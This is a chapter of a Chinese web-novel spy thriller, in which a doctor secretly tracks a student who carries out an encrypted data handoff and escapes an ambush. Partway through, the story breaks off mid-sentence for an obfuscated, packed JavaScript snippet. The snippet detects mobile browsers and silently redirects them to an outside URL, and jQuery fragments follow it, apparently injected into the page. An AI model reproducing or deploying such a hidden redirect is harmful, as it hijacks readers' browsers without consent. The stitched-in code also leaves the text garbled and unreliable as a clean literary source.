21. 关文晶的追踪

作品:《学生闹翻天3

    第二次:两周前,周六凌晨,妇科住院区306病房附近。传输时长47秒,数据包大小0.8MB。对应时间——林小梅死亡当晚,钟妍妍在病房外“检查设备”。


    第三次:就是今晚,医学院尸库。


    三个地点,三个人物:钟妍妍、徐燕风、以及一个未知的“V-09”设备持有者。


    关文晶向后靠在椅背上,闭上眼睛。脑子里开始构建时间线:


    今晚八点到十点之间,徐燕风在哪里?


    她调出院区的监控——徐燕风于19:40离开宿舍,刷卡记录显示他去了实验楼区域,但未记录返回时间。校区监控显示他于22:15进入,浑身湿透(监控画面)。


    中间两个半小时,他在实验楼做什么?


    关文晶在调出实验楼附近的公共监控,画面显示:20:03,一辆黑色摩托车从实验楼后巷驶出,骑手穿着深色连帽卫衣,看不清脸但车型是川崎Ninja 400——徐燕风的车。


    摩托车驶向港口区方向。


    21:47,同一辆车返回,从港口区方向。


    时间吻合。


    她继续追踪港口区的摄像头(这部分权限不够,但她有自己的渠道)。几分钟后,加密邮箱收到几段模糊的监控截图:


    【21:15,老陈修船厂外围,一个深色身影翻墙进入。


    21:28,同一身影从围墙缺口离开,快步走向一堆废弃轮胎,推出一辆摩托车。


    备注:修船厂内部无监控,但根据线报,今晚该地点有“数据交易”,买方涉及一个叫“疤子”的本地混混,曾因持械伤人留有案底。】


    关文晶把所有碎片拼在一起:


    钟妍妍在尸库用军用加密协议传输数据。


    徐燕风在同一时间骑摩托车前往港口区修船厂。


    修船厂有地下数据交易。


    结论很明显:钟妍妍派徐燕风去执行了一次情报传递任务。


    而且,从传输协议和设备ID来看,这不是普通的“兼职送货”,而是有军区背景的、加密等级很高的行动。


    关文晶感到一阵寒意。


    她原本以为钟妍妍只是在训练徐燕风作为个人工具,用于复仇或私刑。但现在看来,事情比她想象的更复杂——钟妍妍背后可能不是个人恩怨,而是去某个军区有关。


    而徐燕风,已经正式踏入了那个世界。


    她想起那晚在儿科办公室,徐燕风眼神里的挣扎和犹豫。当时她以为他还有救,还能拉回来。


    但现在……


    关文晶打开一个加密文档,开始记录:


    【观察对象:徐燕风


    时间:周二夜


    事件:疑似首次参与加密情报传递任务


    路径:医学院实验楼B栋→港口区老陈修船厂→返回


    用时:约2.5小时


    关联人物:钟妍妍(指挥),未知买家(港口区)


    技术细节:使用军用加密协议“#-7”,设备ID V-09


    风险评估:对象已从训练阶段进入实战阶段,忠诚度倾向可能已偏向钟妍妍方。但任务过程中未触发任何警报,未引起警方注意,显示其已具备基础操作能力。


    建议:暂不干预,继续观察。重点记录其后续任务频率、类型、涉及人员。等待其可能出现的思想动摇或失误,届时可作为突破口。】


    写完记录,她加密保存,上传到云端。


    然后她调出徐燕风的档案——不是医院的学生档案,而是她自己建立的那份。里面记录了过去一个月他所有的异常行为:情绪变化、行踪轨迹、与钟妍妍的接触频率、甚至包括一些生理指标(通过医院体检数据推算)。


    她翻到最后一页,那里有一个空白栏目:“招募可能性评估”。


    之前她一直没填,因为觉得还早。


    但现在,她拿起笔,犹豫了几秒,最终写下:


    【当前状态:已被对方成功招募并完成首次任务。


    潜在突破口:1..对“正义性”的潜在质疑(曾询问目标是否为罪犯);2.首次实战后的心理波动(需观察未来72小时行为)。


    招募难度:高(已深度卷入),但非不可能。


    建议策略:保持距离,避免直接对抗,在其可能产生动摇时提供“另一条路”的选择。】


    放下笔,关文晶走到窗边。


    窗外,医院笼罩在夜色中,只有零星几个窗户亮着灯——ICU、产房、急诊。像黑暗中眨眼的野兽。


    她想起很多年前爷爷对她说过的话:“医生手里有两把刀:一把是手术刀,救人的;一把是看不见的刀,杀人的。你要记住,永远要知道自己手里拿的是哪一把。”


    在圣保罗医院,每个医生手里都拿着两把刀。若是潜伏的蛇系特工,手里的刀更多……


    钟妍妍拿着看不见的其中一把,在阴影里切割。


    徐燕风刚刚接过了其中一把。


    而她,关文晶,也在选择——是继续拿着手术刀,只救眼前能救的人;还是也拿起另一把刀,去切割那些制造疾病和死亡的根源?


    手机震动,是那个备用机。加密信息:


    【关二小姐,您要的港口区监控分析已完成。确认骑手为徐燕风(车型、体态、出入时间吻合)。另,修船厂交易涉及一份加密医疗数据,内容未知,但买方‘疤子’与政府某官员有资金往来。建议:此事水深,谨慎涉入。——调查员C】


    关文晶回复:


    【继续追踪‘疤子’的资金流向。重点查与政府办公厅的关联。另,我需要钟妍妍过去六个月所有通讯记录的元数据(时间、地点、频率),不需要内容。——锯鳞蝰】


    那边很快回复:


    【元数据可以,但需要三天时间。另外提醒:如果钟妍妍真是军区联络节点的人,您这么做可能会被反追踪。】


    【我知道风险。去做吧。】


    关完机,关文晶坐回电脑前。


    屏幕上的数据监控界面还在运行,新的异常事件不断弹出,但都不如刚才那条重要。


    她盯着那条记录,看了很久。


    然后她做了一个决定。


    她不会现在就去揭穿或阻止徐燕风。


    因为揭穿没用——他已经选择了那条路。阻止也可能适得其反——如果钟妍妍发现她在干预,可能会采取更激烈的手段。


    她要做的,是观察,记录,等待。


    等待徐燕风自己产生怀疑。


    等待他问出那个问题:“我在做的事情,真的是对的吗?”


    等待他需要另一条路的时候。


    那时候,她会给他那条路。


    不是以儿科医生的身份。


    而是以“锯鳞蝰”的身份。


    关文晶关掉监控界面,打开病历系统。屏幕上跳出一个患儿的血常规报告,白细胞计数偏高,需要调整抗生素。


    她开始写医嘱,手指在键盘上快速敲击,眼神专注。


    就像什么都没发生过。


    就像她只是一个普通的儿科医生,值着普通的夜班,处理着普通的病例。


    但只有她自己知道,从今晚开始,她多了一个任务:观察一条刚刚蜕皮的新蛇。


    观察它如何游走。


    观察它何时犹豫。


    观察它……是否需要被引导向另一个方向。


    窗外,天色开始泛白。


    新的一天即将开始。


    而在这场无声的战争里,又多了一个新的变量。


    关文晶写完医嘱,站起身,走到病房开始晨间查房。


    她的表情依然冷静专业,声音依然温和清晰。但心里,已经开始布局下一步棋。棋盘上,棋子已经各就各位。而游戏,才刚刚进入中盘。


    ——————————————————


    晚上七点五十分,徐燕风站在医院停车场自己的摩托车旁,手心微微出汗。不是紧张——或者说,不全是紧张。那种感觉更像是手术前的医生,肾上腺素适度升高,注意力高度集中,感官变得敏锐。


    他今天穿着普通的牛仔裤和灰色夹克,背着一个双肩包,看起来就像要去图书馆赶作业的普通学生。但包里不是课本,而是一个用防静电袋包裹的加密U盘,以及一支改装过的圆珠笔——笔帽里有微型摄像头,笔身能发射低功率干扰信号,持续十五秒,足够打断大多数民用监控设备的录制。


    耳机里传来钟妍妍的声音,经过变声处理,听起来像电子合成音:


    【路线确认:从医院出发,经滨河路、旧城区、旧纺织厂到达目的地‘星光网吧’。全程9.3公里,预计耗时25分钟。避开三个交警执勤点和两个治安摄像头盲区。】


    徐燕风在脑子里过了一遍地图。滨河路晚上车少,但路灯昏暗;旧城区小巷多,容易迷路,也容易藏人;旧纺织厂那段路完全没灯是全程最危险的段落。


    【任务目标:将U盘交给网吧的23号座位者。对方特征:男性,25-30岁,戴黑色棒球帽,面前会放一罐红色可乐。暗号:‘老板,借个火?’对方答:‘我不抽烟。’你回:‘那借个充电宝?’对方递出U盘交换盒。全程不超过三十秒。】


    “明白。”徐燕风低声说。


    【记住,拿到交换盒后立刻离开,不要检查不要停留。如果二十三号座位没人或者可乐不是红色,立刻撤离,U盘启用自毁程序。】


    徐燕风跨上摩托车,发动引擎。川崎Ninja 400低沉的轰鸣在停车场回荡,几个路过的学生回头看了一眼,又继续走路。


    八点整,他驶出医院。


    夜晚的城市刚进入喧嚣时段,主干道车流如织,霓虹灯闪烁。徐燕风按照规划路线拐进滨河路,这条路沿河而建,对岸是灯火辉煌的商业区,这边却安静得多只有零星几对散步的情侣。


    他保持匀速,眼睛快速扫视:前方两百米有桥,桥下阴影深重;右侧人行道上有个人坐在长椅上,似乎在玩手机但手机屏幕没亮;左侧河面上有游船经过,船上的音乐声飘过来,带着欢快的节奏。


    一切正常。


    但徐燕风没有放松。钟妍妍教过:真正的危险往往藏在“正常”里。


    经过桥下时,他下意识地减速。阴影里忽然站起一个人——不是冲他来的,只是个流浪汉,拎着麻袋翻垃圾桶。徐燕风松了口气,加速通过。


    旧城区的小巷像迷宫,青石板路颠簸,摩托车灯照亮两侧斑驳的墙壁。这里住的大多是老人,晚上很少出门,巷子里安静得能听见自己的引擎声在回荡。


    徐燕风在一个岔路口停下,确认方向。就在这时,他听见身后有脚步声——很轻,但节奏稳定,不是随意散步的那种。


    他从后视镜里看,巷口有个人影,站在阴影里,没有继续跟进。


    可能是路人,也可能不是。


    徐燕风没有犹豫,拧动油门向前,但在下一个拐角突然右转,熄火,把车藏在一堆废弃的建材后面,自己则闪身躲进一扇破旧的门洞。


    十秒钟后,脚步声接近。


    一个人影出现在拐角,停下,左右张望。是个中等身材的男人,穿着深色夹克,手里拿着手机,屏幕亮着,像是在看地图。


    但徐燕风注意到一个细节:那人的手机握得很紧,手指在屏幕上滑动时,腕部有细微的绷紧——不是在看地图,是在操作某个程序。


    跟踪软件?还是实时通讯?


    男人在原地站了半分钟,没找到目标,低声骂了一句什么,转身离开。


    徐燕风等脚步声完全消失,又等了三十秒才重新推出摩托车。他没有立刻出发,而是绕到另一个方向,从另一条巷子穿出去——路线变了,但能绕回主路。


    耳机里传来钟妍妍的声音:


    【偏离路线。原因?】


    “疑似尾巴,已甩掉。”徐燕风说,“改走南巷,绕行八百米汇入原路线。”


    【同意。加快速度,你比预定时间晚了四分钟。】


    徐燕风加速。纺织厂废墟出现在前方,那是一片占


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937039|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地很大的废弃厂房,围墙倒塌,窗户破碎,黑暗中像一头巨兽的骨架。


    这是最危险的一段。没有光,没有监控,没有人。如果在这里被伏击,叫天天不应。


    他停在废墟入口,没有立刻进去,而是从包里拿出那支改装圆珠笔,按下笔夹上的隐蔽按钮。笔身微微发热,发出人耳听不到的高频信号——这是干扰器启动的标志,能暂时屏蔽周围五十米内的无线通讯和遥控信号。


    然后他推着摩托车,步行进入废墟。


    脚下是碎石和碎玻璃,每一步都发出轻微的声响。月光从破碎的屋顶漏下来,在地上投出诡异的斑块。远处传来野猫的叫声,凄厉刺耳。


    徐燕风走得很慢,眼睛适应黑暗后,能看清大概轮廓。他选择沿着墙根走,利用阴影掩护,同时耳朵竖起来,听除了自己脚步声以外的动静。


    走到一半时,他听见了。


    不是猫叫,也不是风声。是金属摩擦的声音,很轻,像是有人在调整姿势时,身上的钥匙或工具碰到了什么。


    在左侧,大约二十米外,一堆生锈的机器后面。


    徐燕风停下,慢慢蹲下,把摩托车轻轻放倒——没有发出大响声。然后他从地上摸起一块碎砖,用力扔向相反的方向。


    碎砖砸在铁皮上,发出“哐当”一声巨响。


    几乎同时,机器后面的人影动了一下,探出头看向声音来源。


    就这一瞬间,徐燕风看清了:一个人,穿着深色衣服,手里拿着一个长条状物体——可能是棍子,也可能是枪。


    他屏住呼吸,等待。


    那人观察了几秒,没发现什么,又缩回机器后面。


    徐燕风没有动。钟妍妍教过:当你发现一个埋伏者,要假设还有第二个、第三个。他继续观察,眼睛像扫描仪一样扫过废墟的每个角落。


    果然,在右侧的一辆废弃卡车后面,他看到了第二个人的轮廓——蹲着,也在朝碎砖落地的方向看。


    两个人。一左一右,形成交叉火力。


    这不是巧合,是伏击。


    但目标是他吗?还是只是巧合,这里是某个非法交易的窝点?


    徐燕风思考了两秒,决定测试。他轻轻咳嗽了一声——不大,但在寂静的废墟里足够清晰。


    左右两个方向的人影同时动了一下,但没有立刻冲出来。他们在等。


    徐燕风明白了:目标是他。而且这两人训练有素,不是街头混混。


    他摸了摸包里的U盘。如果现在撤退,任务失败,但安全。如果继续前进,要穿过两人的夹击区,风险极大。


    耳机里传来钟妍妍的声音,带着一丝电流干扰(因为他的干扰器还在工作):


    【……燕风……听到吗……旧厂……信号……】


    通讯断续。干扰器影响到了自己的耳机。


    徐燕风关掉干扰器,钟妍妍的声音立刻清晰:


    【燕风!旧厂里有异常热信号,至少两人。建议立刻撤离!】


    “来不及了。”徐燕风低声说,“他们已经发现我了。我现在在中间,左右各一个。”


    【位置?】


    徐燕风快速描述。


    钟妍妍沉默了两秒,然后说:“听我指挥。你现在正前方十米,是不是有一堆废轮胎?”


    徐燕风眯眼看去:“是。”


    “轮胎后面是半堵墙,墙后面是厂房的后门。门应该锁着,但锁是老式的,可以用暴力撞开。计划:我数到三,你往轮胎方向冲,我会制造distractions。”


    “什么distractions?”


    “别问。准备好,一、二——”


    “三!”


    话音刚落,旧厂外突然传来刺耳的汽车警报声,不止一辆,是好幾辆,此起彼伏,在寂静的夜晚里像警报大合唱。


    左右两个伏击者明显被惊动,下意识地转头看向声音来源。


    就是现在!


    徐燕风像猎豹一样窜出去,不是跑直线而是之字形前进,同时从包里掏出那支圆珠笔对着左侧的方向按下干扰按钮——这次不是持续干扰,而是脉冲式,专门针对电子设备。


    左侧那人手里的长条物体忽然闪烁了一下——果然是电子设备,可能是电击棍或信号探测器。


    就这一瞬间的迟滞,徐燕风已经冲到轮胎堆后,翻身滚过去,落地时手在地上一撑,继续冲向那半堵墙。


    右侧的人反应过来,追上来,但被轮胎堆绊了一下。


    徐燕风冲到墙后,果然有一扇铁门,锈迹斑斑,挂着一把老式挂锁。他没有浪费时间开锁,而是后退两步,一个助跑,用肩膀狠狠撞在门上。


    “砰!”门轴发出刺耳的呻吟,但没开。


    “砰!”第二下,锁扣变形。


    “砰!”第三下,门猛地向内弹开。


    徐燕风冲进去,里面是空荡荡的厂房,月光从破屋顶照进来能看清大概。他没有停留直接冲向厂房另一端的出口。


    身后传来追赶的脚步声,但被甩开了一段距离。


    冲出厂房,外面是一条小巷,连通着旧城区的主街。徐燕风跳上早就准备好的摩托车(他刚才推进来的),发动,冲进小巷。


    后视镜里,两个追兵冲出厂房,但已经追不上了。


    【甩掉了。】徐燕风说,呼吸有些急促。


    【继续任务。你还有十二分钟。】钟妍妍的声音冷静如常。


    徐燕风驶出小巷汇入主街车流。纺织厂废墟的惊险像一场梦,但后背的冷汗提醒他,那是真的。


    八点三十一分,他到达“星光网吧”。


    这是一家老式网吧,招牌的霓虹灯坏了一半,“网吧”两个字只剩“网”还亮着。里面烟雾缭绕,几十台电脑前坐着各色人等,大多是年轻人,打游戏的、看视频的、聊天的。


    徐燕风走进去,扫了一眼。23号机位在角落,一个男人坐在那里,戴着黑色棒球帽,面前确实放着一罐红色可乐。


    他走过去,站在旁边:“老板,借个火?”